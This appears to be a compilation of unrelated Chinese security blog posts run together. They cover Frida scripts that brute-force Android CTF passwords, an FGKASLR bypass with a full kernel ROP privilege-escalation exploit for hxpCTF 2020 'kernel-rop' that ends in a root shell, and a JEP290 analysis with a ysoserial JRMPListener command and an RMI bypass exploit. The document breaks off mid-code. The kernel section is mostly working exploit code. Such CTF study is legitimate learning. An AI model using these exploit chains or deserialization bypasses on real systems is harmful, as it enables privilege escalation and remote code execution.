frida调用java中静态方法与动态方法
如果调用静态方法,可以直接调用,比如java代码如下
public class Verifier {
private Verifier() {
}
public static boolean verifyPassword(Context context, String input) {
...
}
那么如果调用verifyPassword可以直接在frida中调用
var verify = Java.use("org.teamsik.ahe17.qualification.Verifier");
verify.verifyPassword(a, b);
如果是动态方法,有两种方法可以调用动态方法
第一种是,使用内存中已存在实例的方法,需要用到java.choose(...),这个是在内存中寻找对象
//从内存中(堆)直接搜索已存在的对象
Java.choose('xxx.xxx.xxx', //这里写类名
{ //onMatch 匹配到对象执行的回调函数
onMatch: function (instance) {
},
//堆中搜索完成后执行的回调函数
onComplete: function () {
}
});
第二种是,我们new一个新的实例,然后调用实例中的方法
//获取类的引用
var cls = Java.use('这里写类名');
//调用构造函数 创建新对象 这里注意参数
var obj = cls.$new();
Easy-QAHE17
首先是看吾爱破解的一道题目,核心代码如下。
public void verifyPasswordClick(View view) {
String password = this.txPassword.getText().toString();
if (!Verifier.verifyPassword(this, password)) {
Toast.makeText(this, (int) org.teamsik.ahe17.qualification.easy.R.string.dialog_failure, 1).show();
} else {
showSuccessDialog();
}
}
public class Verifier {
private Verifier() {
}
public static boolean verifyPassword(Context context, String input) {
if (input.length() != 4) {
return false;
}
byte[] v = encodePassword(input);
byte[] p = "09042ec2c2c08c4cbece042681caf1d13984f24a".getBytes();
if (v.length == p.length) {
for (int i = 0; i < v.length; i++) {
if (v[i] != p[i]) {
return false;
}
}
return true;
}
return false;
}
...
...
...
输入长度为4,通过分析后面知道输入是数字。所以范围是1000-9999.所以是可以爆破的,但是爆破是要用到encodePassword方法,自己写一个当然也可以,但是很麻烦。这里就可以直接frida调用encodePassword函数.
注意这里encodePassword是静态方法,所以可以直接调用
function main() {
Java.perform(function x() {
console.log("In Java perform")
var verify = Java.use("org.teamsik.ahe17.qualification.Verifier")
var stringClass = Java.use("java.lang.String")
var p = stringClass.$new("09042ec2c2c08c4cbece042681caf1d13984f24a")
for (var i = 999; i < 10000; i++){
var v = stringClass.$new(String(i))
var vSign = verify.encodePassword(v)
if (parseInt(p) == parseInt(stringClass.$new(vSign))) {
console.log("yes: " + v)
break
}
console.log("not :" + v)
}
})
}
setImmediate(main)
结果
not :9078
not :9079
not :9080
not :9081
not :9082
yes: 9083
需要注意的是,要调用parseInt解析内存中的内存再对比,因为string类型是java的string类型,对js代码来说是一段内存。
EasyJava
这题是纯java题,逻辑很清晰,对输入的每一个字符单个检查,加密并对比。所以可以很简单的想到爆破的思路
public static Boolean b(String str) {
if (str.startsWith("flag{") && str.endsWith("}")) {
String substring = str.substring(5, str.length() - 1);
b bVar = new b(2);
a aVar = new a(3);
StringBuilder sb = new StringBuilder();
int i = 0;
for (int i2 = 0; i2 < substring.length(); i2++) {
sb.append(a(substring.charAt(i2) + "", bVar, aVar));
Integer valueOf = Integer.valueOf(bVar.b().intValue() / 25);
if (valueOf.intValue() > i && valueOf.intValue() >= 1) {
i++;
}
}
return Boolean.valueOf(sb.toString().equals("wigwrkaugala"));
}
return false;
}
所以可以单个字符爆破,但是要注意到,com.a.easyjava.b和com.a.easyjava.a两个类中都存在static属性的变量,下面是b类的
public class b {
public static ArrayList<Integer> a = new ArrayList<>();
static String b = "abcdefghijklmnopqrstuvwxyz";
static Integer d = 0;
Integer[] c = {8, 25, 17, 23, 7, 22, 1, 16, 6, 9, 21, 0, 15, 5, 10, 18, 2, 24, 4, 11, 3, 14, 19, 12, 20, 13};
public b(Integer num) {
for (int intValue = num.intValue(); intValue < this.c.length; intValue++) {
a.add(this.c[intValue]);
}
for (int i = 0; i < num.intValue(); i++) {
a.add(this.c[i]);
}
}
public static void a() {
int intValue = a.get(0).intValue();
a.remove(0);
a.add(Integer.valueOf(intValue));
b += "" + b.charAt(0);
b = b.substring(1, 27);
Integer num = d;
d = Integer.valueOf(d.intValue() + 1);
}
public Integer a(String str) {
int i = 0;
if (b.contains(str.toLowerCase())) {
Integer valueOf = Integer.valueOf(b.indexOf(str));
for (int i2 = 0; i2 < a.size() - 1; i2++) {
if (a.get(i2) == valueOf) {
i = Integer.valueOf(i2);
}
}
} else {
i = str.contains(" ") ? -10 : -1;
}
a();
return i;
}
public Integer b() {
return d;
}
}
b类中的a,b,d变量都是static类型的同时,这三个变量都会被下面的方法所改变。所以如果要爆破,需要重新修改实例中的属性值。如果不重新修改属性的值,我们通过观察b类中的b变量可以看到会有什么问题。
这个脚本是爆破第一个字符在加密后所有的可能性。爆破范围通过分析b类可以缩小到a-z,然后模仿加密过程,加密一个字符看看结果。中间每循环一次会重新申请一个b和a类的实例,想通过申请新的实例来避免类中变量的修改.
function main() {
Java.perform(function x() {
console.log('[+] script load');
var b = Java.use("com.a.easyjava.b");
var a = Java.use("com.a.easyjava.a");
var StringClass = Java.use("java.lang.String");
var IntClass = Java.use("java.lang.Integer");
var MainActivity = Java.use("com.a.easyjava.MainActivity");
try { // try catch 用来查看报错的,可以去掉
for (var i = 97; i < 123; i++) {
var bvar = b.$new(IntClass.$new(2));
var avar = a.$new(IntClass.$new(3));
var s = String.fromCharCode(i);
var c = MainActivity.a(s, bvar, avar);
console.log(`enc(${s}) => ${c}, b.a => ${b._b.value}`);
}
} catch (e) {
console.log(e);
}
console.log('[+] script end');
})
}
setImmediate(main)
结果如下
# python3 loader.py
[+] script load
enc(a) => a, b.b => bcdefghijklmnopqrstuvwxyza
enc(b) => a, b.b => cdefghijklmnopqrstuvwxyzab
enc(c) => a, b.b => defghijklmnopqrstuvwxyzabc
enc(d) => a, b.b => efghijklmnopqrstuvwxyzabcd
enc(e) => a, b.b => fghijklmnopqrstuvwxyzabcde
enc(f) => a, b.b => ghijklmnopqrstuvwxyzabcdef
enc(g) => a, b.b => hijklmnopqrstuvwxyzabcdefg
enc(h) => a, b.b => ijklmnopqrstuvwxyzabcdefgh
enc(i) => a, b.b => jklmnopqrstuvwxyzabcdefghi
enc(j) => a, b.b => klmnopqrstuvwxyzabcdefghij
enc(k) => a, b.b => lmnopqrstuvwxyzabcdefghijk
enc(l) => a, b.b => mnopqrstuvwxyzabcdefghijkl
enc(m) => a, b.b => nopqrstuvwxyzabcdefghijklm
enc(n) => a, b.b => opqrstuvwxyzabcdefghijklmn
enc(o) => a, b.b => pqrstuvwxyzabcdefghijklmno
enc(p) => a, b.b => qrstuvwxyzabcdefghijklmnop
enc(q) => a, b.b => rstuvwxyzabcdefghijklmnopq
enc(r) => a, b.b => stuvwxyzabcdefghijklmnopqr
enc(s) => a, b.b => tuvwxyzabcdefghijklmnopqrs
enc(t) => a, b.b => uvwxyzabcdefghijklmnopqrst
enc(u) => a, b.b => vwxyzabcdefghijklmnopqrstu
enc(v) => a, b.b => wxyzabcdefghijklmnopqrstuv
enc(w) => a, b.b => xyzabcdefghijklmnopqrstuvw
enc(x) => a, b.b => yzabcdefghijklmnopqrstuvwx
enc(y) => a, b.b => zabcdefghijklmnopqrstuvwxy
enc(z) => a, b.b => abcdefghijklmnopqrstuvwxyz
[+] script end
可以看到实际上,虽然每次new了一个新的实例,但是实例中的static变量是变了的,这导致了之前的爆破会影响到下一次爆破,同时也可以看到加密结果全部都是a。所以如果要爆破,就得想办法让每次爆破,新的实例中的值不变。
需要使用bvar._b.value = StringClass.$new("abcdefghijklmnopqrstuvwxyz");这样的语法对static类型的变量重新设值。
需要注意的是有些变量在jadx/jeb中看到的名字可能会被重载,需要加一个下划线比如b -> _b。可以通过console打印看看是不是unknow,也可以直接用jadx右键复制frida片段,查看此变量frida需不需要加一个下划线
解题脚本的思路就很简单,单个字符来爆破,每次重新生成类的实例,并将类中的值置为初始状态(通过调用类$init方法)。
exp
function main() {
Java.perform(function x() {
console.log('[+] script load');
var b = Java.use("com.a.easyjava.b");
var a = Java.use("com.a.easyjava.a");
var IntClass = Java.use("java.lang.Integer");
var StringClass = Java.use("java.lang.String");
var ArrayList = Java.use("java.util.ArrayList");
var MainActivity = Java.use("com.a.easyjava.MainActivity");
var flag = new Array();
var cipher = "wigwrkaugala";
var bvar = b.$new(IntClass.$new(2));
var avar = a.$new(IntClass.$new(3));
for (var _ = 0; _ < cipher.length; _++) {
for (var i = 97; i < 123; i++) { // 97 - 123是字母a-z
// reset static value
bvar._b.value = StringClass.$new("abcdefghijklmnopqrstuvwxyz");
bvar.d.value = IntClass.$new(0);
bvar._a.value = ArrayList.$new();
bvar["$init"](IntClass.$new(2));
avar.b.value = StringClass.$new("abcdefghijklmnopqrstuvwxyz");
avar.d.value = IntClass.$new(0);
avar._a.value = ArrayList.$new();
avar["$init"](IntClass.$new(3));
var s = String.fromCharCode(i);
flag.push(s);
for (var e = 0; e < flag.length; e++) {
var c = MainActivity.a(flag[e].toString(), bvar, avar);
if (c != cipher[e]) {
break;
}
}
if (c == cipher[flag.length - 1]) {
console.log(flag);
break
}
flag.length -= 1;
}
}
console.log('flag{' + flag.join('') + '}');
console.log('[+] script end');
})
}
setImmediate(main);
结果
root@kali ~/frida-script-dev# python3 loader.py
[+] script load
v
v,e
v,e,n
v,e,n,i
v,e,n,i,v
v,e,n,i,v,i
v,e,n,i,v,i,a
v,e,n,i,v,i,a,i
v,e,n,i,v,i,a,i,v
v,e,n,i,v,i,a,i,v,i
v,e,n,i,v,i,a,i,v,i,c
v,e,n,i,v,i,a,i,v,i,c,i
flag{veniviaivici}
[+] script end
Kernel-Pwn-FGKASLR保护绕过
FGKASLR
FGASLR(Function Granular KASLR)是KASLR的加强版,增加了更细粒度的地址随机化。因此在开启了FGASLR的内核中,即使泄露了内核的程序基地址也不能调用任意的内核函数。
layout_randomized_image
在https://github.com/kaccardi/linux/blob/fg-kaslr/arch/x86/boot/compressed/fgkaslr.c文件中存在着随机化的明细。
/*
linux/arch/x86/boot/compressed/fgkaslr.c
*/
void layout_randomized_image(void *output, Elf64_Ehdr *ehdr, Elf64_Phdr *phdrs)
{
...
shnum = ehdr->e_shnum; //获取节区的数量
shstrndx = ehdr->e_shstrndx; //获取字符串的索引
...
/* we are going to need to allocate space for the section headers */
sechdrs = malloc(sizeof(*sechdrs) * shnum); //开辟一段空间用于防止节区头部
if (!sechdrs)
error("Failed to allocate space for shdrs");
sections = malloc(sizeof(*sections) * shnum); //开辟一段空间用户防止节区的内容
if (!sections)
error("Failed to allocate space for section pointers");
memcpy(sechdrs, output + ehdr->e_shoff,
sizeof(*sechdrs) * shnum); //拷贝头部数据
/* we need to allocate space for the section string table */
s = &sechdrs[shstrndx]; //获取节区名
secstrings = malloc(s->sh_size); //开辟一段空间用于防止节区名称
if (!secstrings)
error("Failed to allocate space for shstr");
memcpy(secstrings, output + s->sh_offset, s->sh_size); //拷贝节区名称
/*
* now we need to walk through the section headers and collect the
* sizes of the .text sections to be randomized.
*/
for (i = 0; i < shnum; i++) { //遍历节区,选择需要重定位的节区
s = &sechdrs[i];
sname = secstrings + s->sh_name;
if (s->sh_type == SHT_SYMTAB) { //遇到符号节区跳过
/* only one symtab per image */
if (symtab)
error("Unexpected duplicate symtab");
symtab = malloc(s->sh_size);
if (!symtab)
error("Failed to allocate space for symtab");
memcpy(symtab, output + s->sh_offset, s->sh_size);
num_syms = s->sh_size / sizeof(*symtab);
continue;
}
...
if (!strcmp(sname, ".text")) { //第一个.text的节区直接跳过
if (text)
error("Unexpected duplicate .text section");
text = s;
continue;
}
if (!strcmp(sname, ".data..percpu")) { //遇到.data..precpu的节区也直接跳过
/* get start addr for later */
percpu = s;
continue;
}
if (!(s->sh_flags & SHF_ALLOC) ||
!(s->sh_flags & SHF_EXECINSTR) ||
!(strstarts(sname, ".text"))) //若一个节区具有SHF_ALLOC与SHF_EXECINSTR的标志位,并且节区名的前缀属于.text则会进行细粒度的地址随机化
continue;
sections[num_sections] = s; //剩余的节区都放置到新开辟的空间中,进行细粒度的地址随机化
num_sections++;
}
sections[num_sections] = NULL;
sections_size = num_sections;
...
}
通过上述代码分析可知
符号节区不进行细粒度的地址随机化
第一个.text节是不会进行细粒度的地址随机化
需要同时具备SHF_ALLOC与SHF_EXECINSTR标志位,并且节区的前缀为.text才会被选择进行细粒度的地址随机化
可以看到layout_randomized_image函数还是会保持原有的节区偏移,但是会在内存中寻找另一个空间进行存储,这就导致在内核开启了FGKASLR保护时并不是所有的节区都以内核程序基地址作为基址进行偏移,想要做到任意内核函数的调用,就需要找到调用函数所处的节区的基地址,使得利用更加复杂化了。
FGKASLR保护的绕过
想要绕过FGKASLR,我们可以挑选不受影响的节区中的gadget进行ROP链的构造。
首先是不存在SHF_ALLOC与SHF_EXECINSTR标志位的节区
其次是.text的节区,可以看到该节区存在0x200000的大小,因此可以挑选0xffffffff81000000 - 0xffffffff81000000 + 0x200000,可选的gadget还是比较充足的。
上述的节区都是不受FGKASLR保护的影响,只需要泄露出内核程序的基地址,就可以按照绕过KASLR的思路进行漏洞的利用。
想要在内核态完成提权返回到用户态,我们需要调用commit_creds(prepare_kernel_cred(0)) -> swapgs -> iretq
因此先来看commit_creds与prepare_kernel_cred函数是否符合要求,可以看到commit_creds函数的地址为0xffffffff814c6410,prepare_kernel_cred函数的地址为0xffffffff814c67f0都是超过.text的节区空间了(这里我是关闭了KASLR的)。
可以多运行几次环境,查看这个两个函数的地址,会发现末尾地址的偏移会一直在变化。(开启了KASLR)
cat /proc/kallsyms | grep -E "commit_creds|prepare_kernel_cred"
第一次
第二次
可以看到第一次运行与第二次运行的地址是完全不一样的,但是处于不进行细粒度的节区ksymtab,只有中间的九个比特位(KASLR)发生了改变,其余部分是一致的。这也是KASLR与FGKASLR的区别。但是实际的利用又需要用到这两个函数,因此还是需要特殊的手法泄露出这两个函数的实际地址。(1)能够泄露这两个函数现有的基地址(2)通过符号表进行地址读取。
这里采用(2)的手法进行函数地址的泄露,ksymtab节存放着内核函数的符号表,使用下述结构体进行维护。
struct kernel_symbol {
int value_offset;
int name_offset;
int namespace_offset;
};
value_offset:内核符号的值的偏移
name_offset:内核符号的名称的偏移
namespace_offset:内核符号所属的命名空间的名称在内存中的偏移量或地址。
因此value_offset正是我们所关注的,这里需要注意的是这里的偏移地址是基于当前地址的偏移。以ksymtab_commit_creds为例,ksymtab_commit_creds的地址值为0xffffffffa8587d90,该地址存储的值为0xffa17ef0,计算的结果为0xffffffffa8587d90- (2^32 - 0xffa17ef0) = 0xffffffffa7f9fc80 ,结果刚好是commit_creds函数的地址值,这里说明一下为什么需要用(2^32 - 0xffa17ef0),因为value_offset是int类型,而0xffa17ef0是负数,因此需要
那么利用上述的方法就可以求出commit_creds与prepare_kernel_cred函数的地址。
那么接着看如何获取swapgs与iretq指令的地址,之前在介绍如何绕过kpti时介绍过一个特殊的函数swapgs_restore_regs_and_return_to_usermode,里面除了能够通过cr3转换页表,里面还具备swapgs和iretq指令。在内核中搜索一下这个函数的地址,可以发现它处于.text节区的范围内,因此这个地址可以直接拿来用。
因此绕过FGKASLR的方法就出来了,首先是泄露内核程序基地址,通过该基地址获得__ksymtab_commit_creds与__ksymtab_prepare_kernel_cred的地址,通过上述两个符号获取实际的commit_creds与prepare_kernel_cred函数的地址,最后通过swapgs_restore_regs_and_return_to_usermode函数返回用户态。
hxpCTF 2020 kernel-rop
run.sh
qemu-system-x86_64 \
-m 128M \
-cpu kvm64,+smep,+smap \
-kernel vmlinuz \
-initrd initramfs.cpio.gz \
-hdb flag.txt \
-snapshot \
-nographic \
-monitor /dev/null \
-no-reboot \
-append "console=ttyS0 kaslr kpti=1 quiet panic=1" \
-s
这里还是使用 hxpCTF 2020的内核题作为例子
项目地址:https://github.com/h0pe-ay/Kernel-Pwn
之前提到过了程序存在栈溢出的漏洞,并且允许我们读取内核栈上的数据,通过读取内核栈上的数据可以泄露出canary的值以及程序的基地址,这里需要特别注意的是,当开启了FGKASLR时,不是所有的地址都可以用来计算基地址的,只能找在.text范围内的地址,否则是无法计算出内核程序基地址。因此这里选择0xffffffff8100a157的地址作为泄露地址。
那么在泄露了canary和地址之后就可以利用栈溢出完成提权返回用户态了,在之前的用户态下的利用,我们可以借助write或者是puts函数去读取地址中的内容,但是在内核态的利用则不需要这么麻烦了,例如可以先将__ksymtab_commit_creds地址赋值给rax寄存器,接着通过mov rax,[rax]; ret的指令完成对指定地址完成读取操作。这里我使用的gadget为
0xffffffff81004d11: pop rax; ret; [0x4d11]
0xffffffff81015a7f: mov rax, qword ptr [rax]; pop rbp; ret; [0x15a7f]
首先利用pop rax; ret指令,将__ksymtab_commit_creds函数的地址赋值给rax寄存器,接着使用mov rax, qword ptr [rax];函数将__ksymtab_commit_creds地址的内容读取到rax寄存器中,那么接下来就是如何提取出rax寄存器。可以借助swapgs_restore_regs_and_return_to_usermode函数先暂时返回到用户态,接着采用内联汇编,进行值的提取。这里需要注意的是需要将ROP链与内联汇编分隔开,否则rax寄存器可能会被编译器优化掉,即会有清空rax寄存器的操作。并且所有找的gadget都必须是不会进行细粒
...
void start()
{
unsigned long payload[256];
unsigned int index = 0;
for(int i = 0; i < (16); i ++)
payload[index++] = 0;
//iretq RIP|CS|RFLAGS|SP|SS
payload[index++] = canary;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = image_base + 0x4d11; //pop_rax_ret
payload[index++] = image_base + 0xf87d90; //__ksymtab_commit_creds
payload[index++] = image_base + 0x15a7f; // mov rax, qword ptr [rax]; pop rbp; ret;
payload[index++] = 0;
payload[index++] = image_base + 0x200f10 + 22; //swapgs_restore_regs_and_return_to_usermode + 22;mov rdi,rsp;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = (unsigned long)leak_commit_creds;
payload[index++] = user_cs;
payload[index++] = user_rflags;
payload[index++] = user_sp;
payload[index++] = user_ss;
write(fd, payload, index * 8);
}
void leak_commit_creds()
{
__asm(
".intel_syntax noprefix;"
"mov commit_creds_offset, eax;"
".att_syntax;"
);
printf("commit_cred_offset:0x%x\n", commit_creds_offset);
commit_creds = image_base + 0xf87d90 + (int)commit_creds_offset;
printf("commit_cred:0x%lx\n", commit_creds);
jmp_leak_prepare_kernel_cred();
}
...
在调用为prepare_kernel_cred后需要将rax寄存器的值传递给rdi寄存器中,因为需要作为commit_creds函数的参数。但是在.text中找了很久都没有合适的gadget,那么还是同样采用内联汇编,将rax寄存器的值读取出,再传递给commit_creds函数即可。这里又需要特别注意,最好不要使用太多的全局变量存储,否则会覆盖一开始保存的user_cs,user_rflags,user_sp,user_ss的变量值。因此在payload中我特定将这几个变量初始化的特定的值,使得这几个变量存储在.data段防止被其它的值覆盖。
因此针对FGKASLR保护的绕过,实际是利用FGKASLR特点,只在特定的区域中选取适合的gadget,从而将FGKASLR弱化为KASLR,进而继续利用。
exp
#include <stdio.h>
#include <fcntl.h>
/*
0xffffffff81006370: pop rdi; ret; -- [0x6370]
0xffffffff81200f10 T swapgs_restore_regs_and_return_to_usermode -- [0x200f10]
0xffffffff81004d11: pop rax; ret; [0x4d11]
0xffffffff81015a7f: mov rax, qword ptr [rax]; pop rbp; ret; [0x15a7f]
0xffffffff81f87d90 r __ksymtab_commit_creds [0xf87d90]
0xffffffff81f8d4fc r __ksymtab_prepare_kernel_cred [0xf8d4fc]
*/
//iretq RIP|CS|RFLAGS|SP|SS
#define MAX 1
int fd;
unsigned long user_cs = MAX,user_rflags = MAX,user_sp = MAX,user_ss = MAX;
unsigned long image_base;
unsigned long commit_creds;
unsigned long prepare_kernel_cred;
unsigned long canary;
int prepare_kernel_cred_offset;
int commit_creds_offset;
unsigned long cred;
void save_state();
void backdoor();
void leak_commit_creds();
void leak_prepare_kernel_cred();
void get_cred();
void jmp_get_cred();
void jmp_leak_prepare_kernel_cred();
void jmp_get_cred();
void jmp_back_door();
void start();
void save_state()
{
__asm(
".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_sp, rsp;"
"mov user_ss, ss;"
"pushf;"
"pop user_rflags;"
".att_syntax;"
);
puts("***save state***");
printf("user_cs:0x%lx\n", user_cs);
printf("user_sp:0x%lx\n", user_sp);
printf("user_ss:0x%lx\n", user_ss);
printf("user_rflags:0x%lx\n", user_rflags);
puts("***save finish***");
}
void backdoor()
{
puts("***getshell***");
system("/bin/sh");
}
void start()
{
unsigned long payload[256];
unsigned int index = 0;
for(int i = 0; i < (16); i ++)
payload[index++] = 0;
//iretq RIP|CS|RFLAGS|SP|SS
payload[index++] = canary;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = image_base + 0x4d11; //pop_rax_ret
payload[index++] = image_base + 0xf87d90; //__ksymtab_commit_creds
payload[index++] = image_base + 0x15a7f; // mov rax, qword ptr [rax]; pop rbp; ret;
payload[index++] = 0;
payload[index++] = image_base + 0x200f10 + 22; //swapgs_restore_regs_and_return_to_usermode + 22;mov rdi,rsp;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = (unsigned long)leak_commit_creds;
payload[index++] = user_cs;
payload[index++] = user_rflags;
payload[index++] = user_sp;
payload[index++] = user_ss;
write(fd, payload, index * 8);
}
void leak_commit_creds()
{
__asm(
".intel_syntax noprefix;"
"mov commit_creds_offset, eax;"
".att_syntax;"
);
printf("commit_cred_offset:0x%x\n", commit_creds_offset);
commit_creds = image_base + 0xf87d90 + (int)commit_creds_offset;
printf("commit_cred:0x%lx\n", commit_creds);
jmp_leak_prepare_kernel_cred();
}
void jmp_leak_prepare_kernel_cred()
{
unsigned long payload[256];
unsigned int index = 0;
for(int i = 0; i < (16); i ++)
payload[index++] = 0;
//iretq RIP|CS|RFLAGS|SP|SS
payload[index++] = canary;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = image_base + 0x4d11; //pop_rax_ret
payload[index++] = image_base + 0xf8d4fc; //__ksymtab_prepare_kernel_cred
payload[index++] = image_base + 0x15a7f; // mov rax, qword ptr [rax]; pop rbp; ret;
payload[index++] = 0;
payload[index++] = image_base + 0x200f10 + 22; //swapgs_restore_regs_and_return_to_usermode + 22;mov rdi,rsp;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = (unsigned long)leak_prepare_kernel_cred;
payload[index++] = user_cs;
payload[index++] = user_rflags;
payload[index++] = user_sp;
payload[index++] = user_ss;
write(fd, payload, index * 8);
}
void leak_prepare_kernel_cred()
{
__asm(
".intel_syntax noprefix;"
"mov prepare_kernel_cred_offset, rax;"
".att_syntax;"
);
printf("prepare_kernel_cred_offset:0x%x\n", prepare_kernel_cred_offset);
prepare_kernel_cred = image_base + 0xf8d4fc + (int)prepare_kernel_cred_offset;
printf("prepare_kernel_cred:0x%lx\n", prepare_kernel_cred);
printf("jmp get cred\n");
jmp_get_cred();
}
void jmp_get_cred()
{
unsigned long payload[256];
unsigned int index = 0;
for(int i = 0; i < (16); i ++)
payload[index++] = 0;
//iretq RIP|CS|RFLAGS|SP|SS
payload[index++] = canary;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = image_base + 0x6370; //pop_rdi_ret
payload[index++] = 0;
payload[index++] = prepare_kernel_cred; // prepare_kernel_cred
payload[index++] = image_base + 0x200f10 + 22; //swapgs_restore_regs_and_return_to_usermode + 22;mov rdi,rsp;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = (unsigned long)get_cred;
payload[index++] = user_cs;
payload[index++] = user_rflags;
payload[index++] = user_sp;
payload[index++] = user_ss;
write(fd, payload, index * 8);
}
void get_cred()
{
__asm(
".intel_syntax noprefix;"
"mov cred, rax;"
".att_syntax;"
);
printf("cred:0x%lx\n", cred);
jmp_back_door();
}
void jmp_back_door()
{
unsigned long payload[256];
unsigned int index = 0;
for(int i = 0; i < (16); i ++)
payload[index++] = 0;
//iretq RIP|CS|RFLAGS|SP|SS
payload[index++] = canary;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = image_base + 0x6370; //pop_rdi_ret
payload[index++] = cred; //cred
payload[index++] = commit_creds; // commit_creds
payload[index++] = image_base + 0x200f10 + 22; //swapgs_restore_regs_and_return_to_usermode + 22;mov rdi,rsp;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = (unsigned long)backdoor;
payload[index++] = user_cs;
payload[index++] = user_rflags;
payload[index++] = user_sp;
payload[index++] = user_ss;
write(fd, payload, index * 8);
}
int main()
{
save_state();
fd = open("/dev/hackme", O_RDWR);
unsigned long buf[256];
read(fd, buf, 40 * 8);
for(int i = 0; i < 40; i++)
printf("i:%d\taddress:0x%lx\n",i, buf[i]);
canary = buf[2];
unsigned long leak_addr = buf[38];
printf("leak addr:0x%lx\n", leak_addr);
image_base = leak_addr - 0xa157;
printf("ImageBase:0x%lx\n", image_base);
start();
}
浅谈 JEP290
0x01 前言
属于是拖了很久的文章了,4.18 筹划着开始写,6.22 左右才真正开始提笔。
一开始提到这个概念可能会比较懵逼,其实这就是为什么高版本 jdk 有部分能打 jndi,打不了 RMI
8u121 ~ 8u230 打不了 RMI
0x02 关于 JEP290
JEP290 是 Java 底层为了缓解反序列化攻击提出的一种解决方案,主要做了以下几件事
1、提供一个限制反序列化类的机制,白名单或者黑名单。2、限制反序列化的深度和复杂度。3、为 RMI 远程调用对象提供了一个验证类的机制。4、定义一个可配置的过滤机制,比如可以通过配置 properties 文件的形式来定义过滤器。
官方从 8u121,7u13,6u141 分别支持了这个 JEP
0x03 JEP290 防御手段分析
先起一个 RMI 的服务,代码详见 —— https://github.com/Drun1baby/JavaSecurityLearning/tree/main/JavaSecurity/RMI
尝试去攻击,这里会报错,报错部分信息为
java.io.ObjectInputStream filterCheck
信息: ObjectInputFilter REJECTED: class sun.reflect.annotation.AnnotationInvocationHandler
可以先看一下官方文档对于 JEP290 的描述 http://openjdk.java.net/jeps/290
我们很容易通过描述来看对应增加的 Filter 点是什么,如图找到了 ObjectInputFilter 相关的类
我这里去看了看 ObjectInputFilter 相关的类,断点是下不去的,所以去到控制台去看,发现在 RegistryImpl_Skel 类中也存在报错现象,而这个类在 RMI 中是用来做反序列化的方法的。
跟进,ObjectInputStream 类调用了 readObject0() 方法,继续跟进
先获取输入当中 blkmode,如果数据为 true,则继续进行后续判断,后续做了一部分的数据处理工作,我们直接来看最重要的地方 1573 行,调用了 checkResolve() 方法,跟进
跟进 readClassDesc() 方法,这个方法主要是读取并返回类描述符,并判断这一类描述符是否可以解析为本地 VM 中的类。
在 readClassDesc() 方法中,判断 tc 所对应的类型,这里跟进 readProxyDesc() 方法
readProxyDesc() 方法做完一系列基础判断之后调用了 filterCheck() 方法,跟进
而 filterCheck() 方法又调用了 checkInput() 方法,这里应该是最终来判断输入是否合法的地方。
这里的判断会进行两次,一个是开启 JVM 的 java.rmi.Remote 类,另一个是我们放入的恶意利用类 sun.reflect.annotation.AnnotationInvocationHandler,第一次会先判断 java.rmi.Remote 类是否合法
对应的判断代码,其实也就是白名单了。代码会首先判断 var2 是否等于 String 类型。如果不是,则继续判断它是否满足下列几个条件中的任意一个:
return String.class != var2 && !Number.class.isAssignableFrom(var2) && !Remote.class.isAssignableFrom(var2) && !Proxy.class.isAssignableFrom(var2) && !UnicastRef.class.isAssignableFrom(var2) && !RMIClientSocketFactory.class.isAssignableFrom(var2) && !RMIServerSocketFactory.class.isAssignableFrom(var
而这里,我们的 sun.reflect.annotation.AnnotationInvocationHandler 类并不在这些白名单中,所以会被过滤
0x04 JEP290 绕过
这里我们可以先看一下白名单里面都能过什么,白名单如下
String.class
Number.class
Remote.class
Proxy.class
UnicastRef.class
RMIClientSocketFactory.class
RMIServerSocketFactory.class
ActivationID.class
UID.class
这里我觉得还是得从它在 JDK8u221 的具体环境下的流程分析入手,看一下在攻击流程之后哪里可以能够被利用,哪里可以 bypass
绕过利用
思考了在 RMI 的流程当中,哪一步能够绕过 JEP290 的检测,最终是 JRMP 的这一步,能够绕过,从原理图来说的话应该是这样
先用 ysoserial 开启 JRMP 3333 端口的监听
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 3333 CommonsCollections5 "Calc"
然后编写 RMI 的 EXP
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;
public class BypassJEP290 {
public static void main(String[] args) throws RemoteException, IllegalAccessException, InvocationTargetException, InstantiationException, ClassNotFoundException, NoSuchMethodException, AlreadyBoundException {
Registry reg = LocateRegistry.getRegistry("localhost",1099); // rmi start at 2222
ObjID id = new ObjID(new Random().nextInt());
TCPEndpoint te = new TCPEndpoint("127.0.0.1", 3333); // JRMPListener's port is 3333
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Registry proxy = (Registry) Proxy.newProxyInstance(BypassJEP290.class.getClassLoader(), new Class[] {
Registry.class
}, obj);
reg.bind("Hello",proxy);
}
}
这个 payload 的原理就是伪造了一个 UnicastRef 用于跟注册中心通信,我们从 bind() 方法开始分析一下这一整个流程。
绕过分析
我们通过 getRegistry 时获得的注册中心,其实就是一个封装了 UnicastServerRef 对象的对象
当我们调用 bind 方法后,会通过 UnicastRef 对象中存储的信息与注册中心进行通信
这里会通过 ref 与注册中心通信,并将绑定的对象名称以及要绑定的远程对象发过去,注册中心在后续会对应进行反序列化
接着来看看 yso 中的 JRMPClient 是做了什么操作
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] {
